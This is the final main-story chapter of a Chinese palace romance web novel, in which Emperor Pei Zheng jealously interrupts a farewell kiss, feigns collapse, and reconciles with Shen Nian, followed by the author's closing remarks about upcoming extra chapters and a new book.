宋淮之低下头,“卿卿,我想最后吻你一次,就这一次,然后我便放下你,不再爱你…好不好?” 郎君眼眶微红,沈念心下一软,不过一个吻罢了,这是她欠他的,她又哪里能拒绝?而后她又瞥了裴争一眼,若是她真吻了宋淮之,那男人定会恼怒。 可那又如何?她如今就想看他气急的模样。 思及此,她收回目光,看向宋淮之,轻轻点头:“好,淮之,我答应你。” 话音落,宋淮之眸中闪过一丝惊喜,随即又化为释然的笑:“卿卿,那…今日之后,我便真的放下了。” 不远处的裴争将一切尽收眼底,方才二人低声交谈时,他便已心绪翻涌,不知他们在说什么,那个草包居然笑得那样灿烂,也不知一个大男人哪里有那么多话,跟他的女人说起来没完没了。 不知分寸, 究竟有什么好说的? 裴争回想起,他与沈念相处时,言语最多之处便是在床笫之间,不曾像这般对坐絮谈。 日后沈念同他回宫,他也要拉着她彻夜长谈,压过宋淮之一头。 正想着,他却忽然瞧见宋淮之的身子正缓缓倾近沈念,这是要做什么?做什么要靠得这样近? 见状,裴争瞳孔骤缩,只见那个草包竟继续靠近,未及细想,唇便覆上了她的唇上。 而沈念竟没有躲闪,甚至……还在回应。 那个草包在亲沈念,他没看错,那个草包在亲沈念! 裴争只觉头“嗡”地一声响,什么理智瞬间消失不见,他再也忍受不住,大步上前,一把推开宋淮之,将沈念拦腰抱起。 一切发生得太快,沈念尚从吻中未回神,人已落入熟悉的怀抱。 “你……你放我下来!裴争!” 宋淮之踉跄起身冲来,“你放开卿卿!” 裴争一脚踹开他,声音冷冽,“敢吻朕的女人?你再碰她,朕就给你扔下山!” 说罢,他低头看向怀中挣扎的美人,眸色暗沉,声音却带着笑:“放你下来做什么?让你继续给朕戴绿帽子么?” “裴争!放我下来!你到底要做什么?” “你快放我下来!” 然而无论她如何挣扎,那男人都不肯放过她,就这样被强行抱进后院禅房,扔在榻上。房门合上后,裴争扯开腰封欺身压下,制住她捶打的双手,“你说朕要做什么?刚刚宋淮之亲你了?嗯?说话。” “明知故问,”沈念别开头,不知为何心中有种莫名的心虚,她又故意道:“你不是都看到了?” “他确实亲我了,我也愿意被他亲。” 她就是存心要气他,想看他失控的模样。想气他,气死他。 只要看到他生气,她心中就会莫名产生一种满足。 裴争额角青筋微微跳劢,却又不敢对她做什么,只能压下心中的那股邪火,语声卑微:“卿卿,你故意气朕,是不是?” 沈念不答,他掐了下她的腰:“回答朕。” 他就是想听沈念说,是故意的,她不愿意被亲,只是为了气他。 “是又如何,不是又如何?” “故意的又怎么样?不是故意的又怎么样x?” 沈念忽地低头咬住他的手,用尽全力。然而裴争却纹丝不动,只低低闷笑,仿佛不知疼痛。 直到虎口渗出血丝,沈念才松口,声音发颤问道:“你……不疼么?” 他真是疯了,疼都不知道躲。 “疼。”裴争用指腹缓缓擦去她已晕开的口脂,俯身靠近她耳畔,“但比起亲眼看他吻你,这点疼不算什么,卿卿,他亲你,朕忍不了,也不想忍。” 男人温热的呼吸扑在耳畔,许是许久未同他亲近,沈念心口翻涌,顿觉慌乱,“你忍不了又如何?还想对我做什么?像往日那样强迫么?” 裴争看出她的羞恼,嗤笑一声,“你知道朕不会,卿卿,你到底要朕怎么样?你不跟朕回宫,朕许你在沈府,你心中有怨,怎么样,朕都受着。可你别用这种方式吓朕……” 他声音渐低,甚至眼中噙着泪, “朕害怕,你真的被那个宋淮之拐走,他伴你的时间很久,江南那三年发生过什么,朕不会去主动问,因为朕爱你,也不想知道你同宋淮之之间发生过什么,可是这并不代表,朕不在意。” “沈念,你是不是爱他,嗯?你是不是想选择他,不要朕了?” 男人说了这么多的话,沈念更是第一次见到裴争这副模样,她大概明白他在说什么,无非是怕自己不要他了,这个向来强势的帝王,是在害怕。 他居然会害怕,也会哭。 “我爱他又怎么样?” 可是那又怎样?她偏要刺激他。 “你骗朕。”裴争忽然笑了,笑声沙哑,“你心里有朕,原谅朕吧。” 他此前不是人,他承认,承认自己对沈念做过许多伤害她的事,他知错,更愿意去改,只要沈念原谅他。 沈念沉默,或许早就不恨了,可“原谅”二字,她说不出口。 一瞬间,空气陷入死寂。 这时,裴争不再逼问,却忽地捂住心口,倒在小榻上:“卿卿,朕的心口疼,好疼……” 沈念蹙眉:“你又骗我?” 此前他总是骗她,眼下竟然又耍花招。 那人竟真的一动不动,连呼吸都微弱下去。沈念踹他一脚:“裴争,起来!” 他还是没动。 她顿时慌了神,起身爬到裴争身侧,“裴争,你醒醒!你快醒醒!你别吓我!” “裴争……” “你醒醒……” 她的心在狂跳,伸手探向他的鼻息,气息微弱,“裴争!” 她真的怕裴争会死,不停地晃着男人的胳膊,巫医说过他真的差点死了,差一点就醒不过来。 无论她如何呼唤,裴争依旧不动。 她的泪水滚落,伏在男人胸口,哭着说道:“裴争…你醒醒!我原谅你……只要你醒过来,我原谅你,我们回宫,我们好好在一起,裴争……你醒来啊……” 她的心就像是被一只大手攥住,传来闷闷的疼。 “裴争……你醒过来,你醒醒。” “裴争……我原谅你,我原谅你。” “真的?”身下的男人忽然睁开眼,手臂环住她的背,“卿卿可不许反悔。” 沈念一怔,知道自己被骗了,捶向他的胸口,“你骗我?裴争!” 裴争握住她的手腕,将她紧紧搂进怀中,“你哭了……你心里有朕,对不对?” 他承认自己卑鄙。 方才他见沈念无论如何都不愿意承认心里有他,可是即便她嘴硬,他也知道她爱他,便心生一计,让她看透她的心。 沈念在他怀中挣扎,眼泪却流得更凶,一边捶着他的后背,一边哭道: “裴争,我讨厌你……你再次欺骗我,你知不知道我被吓坏了。” “我恨你,你此前对我做出那么多伤害的事,你从来不尊重我,你强迫我生孩子,我讨厌你,我恨死你了。” “嗯,朕知道。”他轻拍她的背安抚,任她发泄。 “你就是一个坏蛋,一个彻头彻尾的坏蛋,凭什么你能轻而易举走进我的心里?凭什么?” “我恨你,我不爱你,你个坏蛋。” “嗯,朕知道你爱朕。”裴争吻了吻她的发顶,“还有什么想说的?” “我讨厌你。” “嗯,你喜欢朕。” “我不会爱你。” “嗯,你只爱朕。” 待姑娘哭声渐弱。裴争松开些许,见怀中美人眼圈通红,鸦睫沾泪,可怜又可爱,笑了一声后,低头吻住她的唇。 沈念起初在反抗,渐渐却沉溺其中,舌尖发麻,主动回应这个温柔的吻,由浅入深,唇齿交缠……禅房内静谧,周围只有细微的水声与交错的呼吸。 直到她喘不过气,裴争才退后,放过她,两人气息皆乱,身子贴在一起。 “卿卿,跟朕回宫,好么?”他抵着她额头轻问。 经此方才那番,沈念心中迷雾尽散。她爱裴争,这一点无从否认。 方才他躺在榻上一动不动,她觉得只要他能醒来,愿意放弃一切。 不知不觉间,他早已走进她的心,她也离不开他,沈念伸出手,贴向他的胸膛,感受那有力的心跳, “你不准再欺我、骗我、伤我。”她的手指揪住他衣襟,郑重道:“裴争,我们之间……好的坏的,经历了太多太多。往后,我们重新开始,那些不愉快的,谁都不许再提。” “我想同你好好在一起,裴争。” “好,”裴争握住她的手,“卿卿说什么,朕都答应。便是要朕的命,朕也给。” “闭嘴,”沈念慌乱捂住他的唇,嗔怪道:“你……你莫要胡说。” 掌心传来温软的触感,他顺势轻吻咬着她手指,眼底笑意深沉,温声开口:“卿卿,朕爱你。” 说罢,他起身将沈念抱起,走出禅房。 “你抱我做什么?放我下来……这么多人瞧着,裴争…”沈念面红耳赤,将脸埋在他颈窝。 “怕什么?朕抱自己的娘子,他们敢笑么?”裴争低笑,踏过门槛,“卿卿,朕抱你回家。” “你不知羞。“沈念唇角弯起,终于不再挣扎,伸手环住他脖颈,“我们回家。” 回他们共同的家,有她,有裴争,还有他们的昱儿。 暮色渐浓,山林覆雪。帝王抱着心爱的姑娘,一步步稳稳向前行去,夕阳将两人身影拉得好长好长。 “裴争。” “嗯?” “我也爱你。” 男人忽地手臂收紧,在她发间落下一吻。 余生很长,纵始会有很多酸涩与苦楚,但到最后一定会化作稠蜜甘饴,埋没那些不快。 他们会如此,一直一直,幸福地走下去。 (正文完结)—— 作者有话说:正文就到这里啦,接下来会更番外。 卿卿和裴狗会很幸福很幸福生活下去。 当然,狗子要是惹到卿卿,她会打死他的。 吼吼,下本想开《误作东宫妾》,求收藏。[亲亲] 不想歇,写文写上瘾了,估计完结不久,就会开。《 》